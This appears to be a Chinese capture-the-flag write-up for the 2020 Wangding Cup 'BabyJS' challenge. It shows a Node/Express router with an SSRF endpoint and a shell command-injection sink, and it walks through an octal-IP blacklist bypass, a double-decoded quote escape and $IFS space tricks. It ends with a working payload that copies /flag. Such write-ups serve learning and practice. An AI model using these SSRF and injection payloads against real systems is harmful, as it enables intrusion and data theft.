[网鼎杯 2020 半决赛]BabyJS
知识点
解题步骤
关键代码:
var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();
var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
router.get('/', function(req, res, next) {
res.json({});
});
router.get('/debug', function(req, res, next) {
console.log(req.ip);
if(blacklist.indexOf(req.ip)!=-1){
console.log('res');
var u=req.query.url.replace(/[\"\']/ig,'');
console.log(url.parse(u).href);
let log=`echo '${url.parse(u).href}'>>/tmp/log`;
console.log(log);
child_process.exec(log);
res.json({data:fs.readFileSync('/tmp/log').toString()});
}else{
res.json({});
}
});
router.post('/debug', function(req, res, next) {
console.log(req.body);
if(req.body.url !== undefined) {
var u = req.body.url;
var urlObject=url.parse(u);
if(blacklist.indexOf(urlObject.hostname) == -1){
var dest=urlObject.href;
request(dest,(err,result,body)=>{
res.json(body);
})
}
else{
res.json([]);
}
}
});
module.exports = router;
在/debug界面,有post和get两种方法。get明显有个代码注入。但是需要ssrf,还有黑名单过滤。根据上面的文章,我们可以用0177.0.0.1
绕过。但是还过滤了单引号。根据js的特性:
意思是@前,也就是URL中表示用户名和密码的字段会被二次解码
然后我们在/bin/www
文件里可以看到监听端口3000。由于执行完代码后会读取/tmp/log,所以直接将/flag复制过去就行,需要$IFS绕过空格
最终payload:
url=http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%2523
末尾用%00截断后面的命令,也可以用#注释,但这里的%也要记得url编码。